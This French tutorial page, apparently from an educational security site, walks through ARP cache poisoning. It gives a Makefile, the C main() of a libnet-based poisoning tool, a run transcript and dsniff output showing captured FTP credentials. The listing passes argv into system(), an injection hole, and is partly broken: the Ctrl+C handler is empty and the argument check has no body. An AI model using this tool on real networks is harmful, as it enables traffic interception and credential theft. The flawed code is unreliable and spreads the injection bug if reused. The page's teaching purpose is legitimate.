ARP Poisoning
II°) Active Sniffing
Une fois n'est pas coutume, nous avons décidé ici d'exposer un réel programme d'exploitation. Nous aurons
ici deux buts : tout d'abord, illuster la puissance de l'attaque, mais surtout, exposer quelques pratiques communes de bonne
programmation. Nous avons utilisé la librairie réseau de bas niveau libnet.
Le projet dans sa totalité est disponible dans nos sources. Ce programme fait partie intégrante d'un projet d'embryon d'IDS (Intrusion Detection System)
que a été développé en 2008. Nous n'allons exposer ici que deux fichiers importants : le Makefile et la fonction main() du programme.
Makefile
Tout d'abord, le Makefile, ciment du projet.
# Makefile pour l'Arp Poisoning
#
# Intrusion Detection System - Fil Rouge 2008 - INSA Lyon
#
# Here We Go
JUNK = *~ *.bak DEADJOE
INCLUDE = ../include
DEPS = injection.o mac_manip.o arp_poisoning.o
EDL = gcc
COMP = gcc
EXE = ArpPoison
LIBS = -lnet
$(EXE) : $(DEPS)
$(EDL) -o $(EXE) $(DEPS) $(LIBS)
%.o : %.c $(INCLUDE)/%.h
$(COMP) -I$(INCLUDE) -c $*.c
clean:
$(RM) $(JUNK) *.o $(EXE)
Le makefile sert à compiler et à maintenir des projets de grande ampleur (ici, sa vertu est surtout pédagogique). La
syntaxe est relativement simple. Vous l'aurez compris, l'instanciation de variables se fait facilement avec NOM_VARIABLE = valeur
et l'accès aux valeurs par la suite se fera par $(NOM_VARIABLE).
Les lignes d'action sont un peu plus difficiles à comprendre par soi-même. Elles sont de la forme CIBLE : DEPENDANCES. La cible
est le fichier qui sera construit. Sa construction sera consécutive à celle de tous les fichiers dont elle est dépendante. Ainsi,
quand on trouve un fichier dépendant, on essaie récurisvement de le construire. Par exemple, ici, le premier fichier dépendant
trouvé sera injection.o. On cherche ensuite une clause dans laquelle injection.o est la cible. C'est le cas de %.o (qui est ce qu'on
appelle un pattern, une cible générique pour tous les fichiers .o). On voit que injection.o dépendant de injection.c et ../include/injection.h.
Si ces dépendances existent et qu'elles sont plus récentes que injection.o eventuellement présent, on construit la cible.
Les actions effectuées pour générer les fichiers cibles se trouvent entre la clause courante et la prochaine (ici, clean : ). On effectue donc
l'action pour injection.o, puis pour mac_manip.o, etc.. Quand toutes les dépendances primaires sont effectuées, on effectue l'édition des liens
et notre exécutable sera construit.
Attention ! La syntaxe d'un Makefile est assez rigoureuse, le moindre espace de trop affichera des erreurs. Par exemple, la liste des actions
doit être précédée d'une tabulation et non d'un espace.
Cette suite d'actions sera effectuée par la commande make. Par défaut, make construit la première cible, sauf si on spécifie une autre cible en
argument de la commande. Illustration en invoquant la cible clean puis la cible par défaut :
$ make clean && make
rm -f *~ *.bak DEADJOE *.o ArpPoison
gcc -I../include -c injection.c
gcc -I../include -c mac_manip.c
gcc -I../include -c arp_poisoning.c
gcc -o ArpPoison injection.o mac_manip.o arp_poisoning.o -lnet
$
Nous avons grâce à ce procédé construit ce qu'on appelle un projet : une racine contenant un Makefile et deux dossier, include/ contenant
les headers nécessaires à la compilation et src/ contenant les sources et le Makefile qui vient d'être d'exposé. Le Makefile de la racine sert
juste dans notre cas à propager la commande make dans src/ et à copier l'exécutable à la fin.
Programme d'exploitation
Il ne me paraissait pas utile de copier toutes les sources du projet, j'expose donc juste ici le main, le "squelette" de l'attaque
qui va permettre d'appliquer à l'exacte la théorie vue précedemment.
#include "injection.h" //Fonction d'injection de paquets ARP
#include "mac_manip.h" //Manipulation des adresses MAC
#include <signal.h> //Utilisation de sIGINT
#include <printf.h> //Entrées/sorties
#define device "eth0" //Exploitation sur eth0 (interface LAN 1)
static int attaque = 1;
void fin_attaque(int signo) {
}
int main(int argc,char * argv[]) { //Argument 1 : ip passerelle. Argument 2 : ip victime
char passerelle[16],victime[16],mac_passerelle[18],mac_victime[18];
char * ping;
int i;
if (argc != 3)
strncpy(passerelle,argv[1],15); //Récupération des arguments
strncpy(victime,argv[2],15);
ping = malloc(45*sizeof(char));
for (i=1;i<3;++i) {
strcpy(ping,"ping -c 1 -w 1 "); //On ping les deux systèmes à empoisonner
strncat(ping,argv[i],15); //De façon à remplir les caches ARP
strcat(ping," > /dev/null");
system(ping);
}
free(ping);
sleep(3); //Attente de l'éventuel lag à la réponse ARP
if (get_mac(passerelle,mac_passerelle)) { //Traitement des adresses MAC
printf("Ne peut lire le mac de la passerelle\n");
return 1;
}
if (get_mac(victime,mac_victime)) {
printf("Ne peut lire le mac de la victime\n");
return 1;
}
if (convert_hexmac(mac_passerelle)) {
printf("Erreur de conversion du mac passerelle\n");
return 1;
}
if (convert_hexmac(mac_victime)) {
printf("Erreur de conversion du mac victime\n");
return 1;
}
signal(SIGINT, fin_attaque); //SIGINT (envoyé par Ctrl + C) Déclenche la fin de l'attaque
printf("Début de l'attaque... (Ctrl + C pour arrêter)\n");
/* La fonction injection_arp() est définie dans injection.c
* Elle va envoyer sur le réseau (depuis <device>) un paquet ARP. Le type de paquet ARP
* est défini par le dernier argument (ici, ARPOP_REPLY sera donc une réponse ARP)
* Le paquet sera prétendu envoyé du troisième argument vers le deuxième, en lui disant, dans le cas d'une réponse,
* que le deuxième argument a pour mac le quatrième argument (un NULL sera remplacé par le MAC local)
*/
while (attaque) {
printf("Empoisonnement des caches ARP\n");
//On détourne le flux de la victime (on lui dit que la passerelle est à notre MAC)
if (injection_arp(device,victime,passerelle,NULL,mac_victime,ARPOP_REPLY)) {
printf("Injection ARP echouée\n");
break;
}
//On détourne le flux de la passerelle
if (injection_arp(device,passerelle,victime,NULL,mac_passerelle,ARPOP_REPLY)) {
printf("Injection ARP echouée\n");
break;
}
sleep(10);//On réitère toutes les 10 secondes
}
printf("Retour des caches ARP à la normale...\n");
if (injection_arp(device,victime,passerelle,mac_victime,mac_passerelle,ARPOP_REPLY))
printf("Injection ARP echouée\n");
if (injection_arp(device,passerelle,victime,mac_passerelle,mac_victime,ARPOP_REPLY))
printf("Injection ARP echouée\n");
return 0;
}
La totalité du projet, contenant notamment injection.c contenant injection_arp() qui est aussi interessante se trouve ici.
Notez qu'un deuxième programme d'exploitation existe, dans script/, qui utilise Nemesis et qui fait plus office de script (pas très joli qui plus est) que de réel programme d'exploitation. Sa
compilation requiert l'instalation de Nemesis et des librairies curses (-lcurses).
Exploit
Afin de démontrer la puissance de l'exploitation, démarrons ce programme en root :
# make && ./ArpPoison 192.168.0.250 192.168.0.102
make[1]: entrant dans le répertoire « ./src »
gcc -I../include -c injection.c
gcc -I../include -c mac_manip.c
gcc -I../include -c arp_poisoning.c
gcc -o ArpPoison injection.o mac_manip.o arp_poisoning.o -lnet
make[1]: quittant le répertoire « ./src »
cp src/ArpPoison .
Début de l'attaque... (Ctrl + C pour arrêter)
Empoisonnement des caches ARP
Empoisonnement des caches ARP
Retour des caches ARP à la normale...
#
Nous lançons ce programme sur 192.168.0.102. Les attaquants peuvent ainsi utiliser des utilitaires comme dsniff pour
capturer les mots de passes qui transitent en clair, ou des sniffers comme TCPdump ou WireShark pour capturer les
paquets et les analyser (voire les décrypter). Exemple, sur 192.168.0.5 :
# dsniff -n
dsniff: listening on eth0
-----------------
09/07/07 12:43:38 tcp 192.168.0.102.58564 -> 213.186.33.210.21 (ftp)
USER exempledsniff
PASS 9455W0RD
#
On a donc intercepté une communication ftp entre 192.168.0.102 et ftp.bases-hacking.org (a remarquer que les nombres
indiqué à la suite de l'ip sont le port sortant et le port entrant respectivement) !
On comprends bien désormais la puissance des attaques réseaux par empoisonnement ARP. Nous allons maintenant combiner
l'ARP Poisoning et le RST Hijacking (une méthode de détournement TCP/IP) pour réussir le légendaire IP Spoofing,
qui consiste à participer à une communication entre deux systèmes A et B en se faisant passer pour B auprès de A
par exemple.
3 Commentaires
Commentaires désactivés.